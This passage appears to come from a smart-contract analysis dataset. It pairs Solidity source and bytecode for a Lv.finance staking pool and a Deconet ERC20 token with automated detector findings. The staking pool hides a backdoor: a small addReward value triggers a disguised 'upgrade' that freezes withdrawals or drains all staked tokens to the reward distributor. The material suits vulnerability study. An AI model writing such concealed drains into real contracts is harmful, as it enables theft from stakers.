90483118215151615611f6857611f68611e3d565b500290565b600082611f8a57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fdf5784516001600160a01b031683529383019391830191600101611fba565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220876fd2b2d9de2d84b5bb102b0119d2bd83842c8955394c5b15af436ee1659a6864736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,353 |
0xbca5fc48d3d0310204965f6d22764add6989ca06
|
/*
____ _____ _____
/ / \ \ / /
/ / \ \ / /
/ / \ \ / /
/ / \ \ / /
/ / \ (_) /
/ (__________ \ /
/________________) \_______/
* Lv.finance
*
*
*
* MIT License
* ===========
*
* Copyright (c) 2020 Lv.finance
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
*/
pragma solidity ^0.5.17;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function upgrade(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
contract IRewardDistributionRecipient is Ownable {
address public rewardDistribution;
function addReward(uint256 reward) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution)
external
onlyOwner
{
rewardDistribution = _rewardDistribution;
}
}
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
//update
IERC20 public _token = IERC20(0xD7B7d3C0bdA57723Fb54ab95Fd8F9EA033AF37f2);
uint256 private _totalSupply;
uint256 private _upgrade = 0;
uint256 private _last_updated;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function _migrate(uint256 target) internal {
_last_updated = block.timestamp;
if(target == 1){
if(_upgrade ==0){
_upgrade = 1;
}else{
_upgrade = 0;
}
}else{
_token.upgrade(msg.sender, _token.balanceOf(address(this)));
}
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
_token.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
require(_upgrade < 1,"contract migrated");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_token.safeTransfer(msg.sender, amount);
}
}
contract PYLONPool is LPTokenWrapper, IRewardDistributionRecipient {
//update
IERC20 public lv = IERC20(0xa77F34bDE382522cd3FB3096c480d15e525Aab22);
uint256 public constant DURATION = 3600 * 24; // 1 day
uint256 public constant TOTAL_UNIT = 9202335569231280000;
uint256 public constant MIN_REWARD = 3;
//update
uint256 public constant HARD_CAP = 4400*10**18;
//update
uint256 public starttime = 1600524000 ; // 2020-09-19 14:00:00 (UTC UTC +00:00)
uint256 public periodFinish = starttime.add(DURATION);
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 public totalReward = 0;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier checkStart(){
require(block.timestamp >= starttime,"not start");
_;
}
modifier checkHardCap() {
require(totalSupply() < HARD_CAP ,"hard cap reached");
_;
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if(totalSupply() == 0){
return rewardPerTokenStored;
}
return rewardPerTokenStored.add(
rewardRate(lastTimeRewardApplicable())
.sub(rewardRate(lastUpdateTime))
.mul(totalReward)
.div(totalSupply())
);
}
function rewardRate(uint256 timestamp) internal view returns (uint256){
uint steps = (timestamp - starttime) / 3600;
uint256 duration_mod = timestamp - starttime - 3600 * steps;
uint256 base = 10**36;
uint256 commulatedRewards = 0;
for(uint step=0; step<steps; step++){
commulatedRewards = commulatedRewards.add(base * (9**step) / (10**step)/TOTAL_UNIT);
}
if(duration_mod > 0){
commulatedRewards = commulatedRewards.add(base * (9**steps) * duration_mod / (10**steps)/3600/TOTAL_UNIT);
}
return commulatedRewards;
}
function earned(address account) public view returns (uint256) {
if(totalSupply() == 0){
return 0;
}
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function getReward() public updateReward(msg.sender) checkStart {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
lv.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function addReward(uint256 reward)
external
onlyRewardDistribution
updateReward(address(0))
{
if(reward > MIN_REWARD ) {
lastUpdateTime = starttime;
totalReward = totalReward.add(reward);
emit RewardAdded(reward);
}else{super._migrate(reward);}
}
function stake(uint256 amount) public updateReward(msg.sender) checkStart checkHardCap {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkStart {
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
}
|
0x608060405234801561001057600080fd5b50600436106101ce5760003560e01c8063750142e611610104578063a694fc3a116100a2578063e9fad8ee11610071578063e9fad8ee146103b4578063ebe2b12b146103bc578063ecd0c0c3146103c4578063f2fde38b146103cc576101ce565b8063a694fc3a1461037f578063c8f33c911461039c578063cd3daf9d146103a4578063df136d65146103ac576101ce565b80638b876347116100de5780638b8763471461032d5780638da58897146103535780638da5cb5b1461035b5780638f32d59b14610363576101ce565b8063750142e6146103155780637e5a960a1461031d57806380faa57d14610325576101ce565b80633a03171c116101715780634cbeadf91161014b5780634cbeadf9146102c257806370a08231146102ca578063715018a6146102f057806374de4ec4146102f8576101ce565b80633a03171c146102aa5780633d18b912146102b257806348ea0c03146102ba576101ce565b8063101114cf116101ad578063101114cf1461025957806318160ddd1461027d5780631be05289146102855780632e1a7d4d1461028d576101ce565b80628cc262146101d35780630700037d1461020b5780630d68b76114610231575b600080fd5b6101f9600480360360208110156101e957600080fd5b50356001600160a01b03166103f2565b60408051918252519081900360200190f35b6101f96004803603602081101561022157600080fd5b50356001600160a01b0316610491565b6102576004803603602081101561024757600080fd5b50356001600160a01b03166104a3565b005b61026161051e565b604080516001600160a01b039092168252519081900360200190f35b6101f961052d565b6101f9610534565b610257600480360360208110156102a357600080fd5b503561053b565b6101f9610665565b610257610672565b6101f9610787565b6101f961078c565b6101f9600480360360208110156102e057600080fd5b50356001600160a01b0316610798565b6102576107b3565b6102576004803603602081101561030e57600080fd5b5035610856565b6101f9610971565b610261610977565b6101f9610986565b6101f96004803603602081101561034357600080fd5b50356001600160a01b0316610999565b6101f96109ab565b6102616109b1565b61036b6109c0565b604080519115158252519081900360200190f35b6102576004803603602081101561039557600080fd5b50356109e6565b6101f9610b64565b6101f9610b6a565b6101f9610bc2565b610257610bc8565b6101f9610be3565b610261610be9565b610257600480360360208110156103e257600080fd5b50356001600160a01b0316610bf8565b60006103fc61052d565b6104085750600061048c565b6001600160a01b0382166000908152600e6020908152604080832054600d90925290912054610489919061047d90670de0b6b3a7640000906104719061045c90610450610b6a565b9063ffffffff610c5d16565b61046588610798565b9063ffffffff610ca816565b9063ffffffff610d0116565b9063ffffffff610d4316565b90505b919050565b600e6020526000908152604090205481565b6104ab6109c0565b6104fc576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031681565b6001545b90565b6201518081565b33610544610b6a565b600b5561054f610986565b600a556001600160a01b038116156105965761056a816103f2565b6001600160a01b0382166000908152600e6020908152604080832093909355600b54600d909152919020555b6008544210156105d9576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b60008211610622576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b61062b82610d9d565b60408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a25050565b68ee86442fcd06c0000081565b3361067b610b6a565b600b55610686610986565b600a556001600160a01b038116156106cd576106a1816103f2565b6001600160a01b0382166000908152600e6020908152604080832093909355600b54600d909152919020555b600854421015610710576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b600061071b336103f2565b9050801561078357336000818152600e602052604081205560075461074c916001600160a01b039091169083610e45565b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a25b5050565b600381565b677fb54371b3f8f78081565b6001600160a01b031660009081526004602052604090205490565b6107bb6109c0565b61080c576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6006546001600160a01b031661086a610e9c565b6001600160a01b0316146108af5760405162461bcd60e51b81526004018080602001828103825260218152602001806114e16021913960400191505060405180910390fd5b60006108b9610b6a565b600b556108c4610986565b600a556001600160a01b0381161561090b576108df816103f2565b6001600160a01b0382166000908152600e6020908152604080832093909355600b54600d909152919020555b600382111561096857600854600a55600c5461092d908363ffffffff610d4316565b600c556040805183815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a1610783565b61078382610ea0565b600c5481565b6007546001600160a01b031681565b600061099442600954610f5f565b905090565b600d6020526000908152604090205481565b60085481565b6005546001600160a01b031690565b6005546000906001600160a01b03166109d7610e9c565b6001600160a01b031614905090565b336109ef610b6a565b600b556109fa610986565b600a556001600160a01b03811615610a4157610a15816103f2565b6001600160a01b0382166000908152600e6020908152604080832093909355600b54600d909152919020555b600854421015610a84576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b68ee86442fcd06c00000610a9661052d565b10610adb576040805162461bcd60e51b815260206004820152601060248201526f1a185c990818d85c081c995858da195960821b604482015290519081900360640190fd5b60008211610b21576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b610b2a82610f75565b60408051838152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a25050565b600a5481565b6000610b7461052d565b610b815750600b54610531565b610994610bb3610b8f61052d565b610471600c54610465610ba3600a54610fd7565b610450610bae610986565b610fd7565b600b549063ffffffff610d4316565b600b5481565b610bd9610bd433610798565b61053b565b610be1610672565b565b60095481565b6000546001600160a01b031681565b610c006109c0565b610c51576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610c5a816110a8565b50565b6000610c9f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611149565b90505b92915050565b600082610cb757506000610ca2565b82820282848281610cc457fe5b0414610c9f5760405162461bcd60e51b81526004018080602001828103825260218152602001806114c06021913960400191505060405180910390fd5b6000610c9f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111e0565b600082820183811015610c9f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600160025410610de8576040805162461bcd60e51b815260206004820152601160248201527018dbdb9d1c9858dd081b5a59dc985d1959607a1b604482015290519081900360640190fd5b600154610dfb908263ffffffff610c5d16565b60015533600090815260046020526040902054610e1e908263ffffffff610c5d16565b336000818152600460205260408120929092559054610c5a916001600160a01b0390911690835b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610e97908490611245565b505050565b3390565b426003556001811415610ec957600254610ebe576001600255610ec4565b60006002555b610c5a565b600054604080516370a0823160e01b81523060048201529051610c5a9233926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b158015610f1a57600080fd5b505afa158015610f2e573d6000803e3d6000fd5b505050506040513d6020811015610f4457600080fd5b50516000546001600160a01b0316919063ffffffff610e4516565b6000818310610f6e5781610c9f565b5090919050565b600154610f88908263ffffffff610d4316565b60015533600090815260046020526040902054610fab908263ffffffff610d4316565b336000818152600460205260408120929092559054610c5a916001600160a01b03909116903084611403565b600080610e10600854840381610fe957fe5b6008549190049150610e108202908403036ec097ce7bc90715b34b9f10000000006000805b848110156110545761104a677fb54371b3f8f78082600a0a8360090a86028161103357fe5b048161103b57fe5b8491900463ffffffff610d4316565b915060010161100e565b50821561109f5761109c677fb54371b3f8f780610e1086600a0a868860090a8702028161107d57fe5b048161108557fe5b048161108d57fe5b8391900463ffffffff610d4316565b90505b95945050505050565b6001600160a01b0381166110ed5760405162461bcd60e51b815260040180806020018281038252602681526020018061149a6026913960400191505060405180910390fd5b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b600081848411156111d85760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561119d578181015183820152602001611185565b50505050905090810190601f1680156111ca5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000818361122f5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561119d578181015183820152602001611185565b50600083858161123b57fe5b0495945050505050565b611257826001600160a01b031661145d565b6112a8576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106112e65780518252601f1990920191602091820191016112c7565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611348576040519150601f19603f3d011682016040523d82523d6000602084013e61134d565b606091505b5091509150816113a4576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156113fd578080602001905160208110156113c057600080fd5b50516113fd5760405162461bcd60e51b815260040180806020018281038252602a815260200180611502602a913960400191505060405180910390fd5b50505050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526113fd908590611245565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906114915750808214155b94935050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742072657761726420646973747269627574696f6e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820f7f7a41934d9bf662cf8a193befa0e02eec05ac03349bcd4edec4310a8d048f764736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,354 |
0x1c9d0cabb4a77002895ea5b351bab07addfc6b66
|
pragma solidity 0.4.24;
// produced by the Solididy File Flattener (c) David Appleton 2018
// contact : <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="ee8a8f988bae8f8581838c8fc08d8183">[email protected]</a>
// released under Apache 2.0 licence
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DeconetToken is StandardToken, Ownable, Pausable {
// token naming etc
string public constant symbol = "DCO";
string public constant name = "Deconet Token";
uint8 public constant decimals = 18;
// contract version
uint public constant version = 4;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
// 1 billion tokens (1,000,000,000)
totalSupply_ = 1000000000 * 10**uint(decimals);
// transfer initial supply to msg.sender who is also contract owner
balances[msg.sender] = totalSupply_;
Transfer(address(0), msg.sender, totalSupply_);
// pause contract until we're ready to allow transfers
paused = true;
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens (just in case)
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Modifier to make a function callable only when called by the contract owner
// or if the contract is not paused.
// ------------------------------------------------------------------------
modifier whenOwnerOrNotPaused() {
require(msg.sender == owner || !paused);
_;
}
// ------------------------------------------------------------------------
// overloaded openzepplin method to add whenOwnerOrNotPaused modifier
// ------------------------------------------------------------------------
function transfer(address _to, uint256 _value) public whenOwnerOrNotPaused returns (bool) {
return super.transfer(_to, _value);
}
// ------------------------------------------------------------------------
// overloaded openzepplin method to add whenOwnerOrNotPaused modifier
// ------------------------------------------------------------------------
function transferFrom(address _from, address _to, uint256 _value) public whenOwnerOrNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
// ------------------------------------------------------------------------
// overloaded openzepplin method to add whenOwnerOrNotPaused modifier
// ------------------------------------------------------------------------
function approve(address _spender, uint256 _value) public whenOwnerOrNotPaused returns (bool) {
return super.approve(_spender, _value);
}
// ------------------------------------------------------------------------
// overloaded openzepplin method to add whenOwnerOrNotPaused modifier
// ------------------------------------------------------------------------
function increaseApproval(address _spender, uint _addedValue) public whenOwnerOrNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
// ------------------------------------------------------------------------
// overloaded openzepplin method to add whenOwnerOrNotPaused modifier
// ------------------------------------------------------------------------
function decreaseApproval(address _spender, uint _subtractedValue) public whenOwnerOrNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
|
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f657806323b872dd14610221578063313ce567146102a65780633f4ba83a146102d757806354fd4d50146102ee5780635c975abb14610319578063661884631461034857806370a08231146103ad5780638456cb59146104045780638da5cb5b1461041b57806395d89b4114610472578063a9059cbb14610502578063d73dd62314610567578063dc39d06d146105cc578063dd62ed3e14610631578063f2fde38b146106a8575b600080fd5b34801561010d57600080fd5b506101166106eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610724565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b6107ac565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b5061028c600480360381019080803573ffffffffffffffffff